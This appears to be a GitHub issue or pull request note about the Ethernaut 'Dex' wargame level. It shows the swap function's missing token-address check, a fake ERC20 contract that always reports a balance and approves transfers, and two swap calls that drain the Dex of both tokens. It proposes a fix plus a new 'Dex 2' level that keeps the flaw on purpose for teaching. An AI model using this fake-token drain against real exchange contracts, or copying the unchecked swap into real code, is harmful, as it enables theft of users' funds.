In the Dex
level in Ethernaut, the swap
method currently doesn't check that the ERC20 addresses are the ones it expects:
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swap_amount = get_swap_amount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swap_amount);
IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
}
The player can supply a DexAttackToken
like this as input:
contract Dex2AttackToken {
function balanceOf(address) external pure returns (uint256) {
return 1;
}
function transferFrom(
address,
address,
uint256
) external pure returns (bool) {
return true;
}
}
Swapping from Dex2AttackToken
to token1
and token2
would then drain the balance of the Dex
contract.
dex.swap(attackToken.address, token1.address, 1)
dex.swap(attackToken.address, token2.address, 1)
I've created a pull request that:
- Add a
require((from == token1 && to == token2) ... )
toswap
in the currentDex
level - Create a new level, Dex 2, keeping the above vulnerability
- Explicitly require the player to drain
Dex
of bothtoken1
andtoken2
balances - Give the player a hint that interacting with a ERC20 token contract
Take a look: https://github.com/OpenZeppelin/ethernaut/pull/250/files